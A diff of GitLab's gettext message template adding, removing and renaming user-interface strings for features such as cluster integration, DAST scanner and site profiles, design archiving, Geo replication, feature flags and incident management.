@@ -5763,15 +5895,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5796,6 +5940,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5811,9 +5958,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5844,7 +5988,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6021,6 +6165,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6220,7 +6370,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6670,9 +6820,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6757,6 +6904,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6769,6 +6919,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6793,15 +6946,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6832,6 +6991,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6847,6 +7009,10 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Create"
msgstr ""
@@ -6937,6 +7103,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -6973,6 +7142,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -6997,6 +7169,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7168,6 +7343,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7264,6 +7442,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7427,6 +7614,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7457,25 +7647,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7484,7 +7704,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7496,6 +7725,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7505,12 +7737,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7583,7 +7872,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7661,10 +7950,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7721,6 +8010,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7742,15 +8034,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7760,6 +8061,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7792,6 +8100,9 @@ msgstr[0] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7804,6 +8115,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7822,6 +8136,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7859,8 +8176,8 @@ msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgid "Deploy"
@@ -7903,7 +8220,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8137,13 +8454,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8176,15 +8502,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8266,7 +8583,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8275,6 +8595,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8287,7 +8610,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8392,9 +8718,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8408,7 +8731,7 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8660,9 +8983,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -8951,9 +9271,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9122,6 +9439,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9146,7 +9466,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9425,6 +9745,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9752,7 +10075,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9773,6 +10096,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9782,9 +10108,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9797,9 +10120,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9809,9 +10129,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9824,9 +10141,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10257,12 +10571,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10347,6 +10667,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10356,9 +10679,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10398,6 +10718,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10623,6 +10946,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10794,30 +11120,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10833,12 +11144,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10866,12 +11171,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10893,15 +11192,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -10929,27 +11219,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -10962,6 +11237,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11025,6 +11306,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11157,10 +11444,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11337,7 +11624,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11454,7 +11741,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11736,6 +12026,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12012,7 +12305,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12225,6 +12518,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12240,6 +12536,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12368,6 +12667,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12524,6 +12826,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12677,6 +12985,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12692,6 +13003,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12704,13 +13018,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12719,21 +13033,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12746,6 +13063,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12764,6 +13084,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12839,6 +13162,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -12905,6 +13231,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -12918,7 +13247,7 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -12945,6 +13274,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -12957,13 +13292,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,7 +13325,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13005,9 +13337,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13104,6 +13442,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
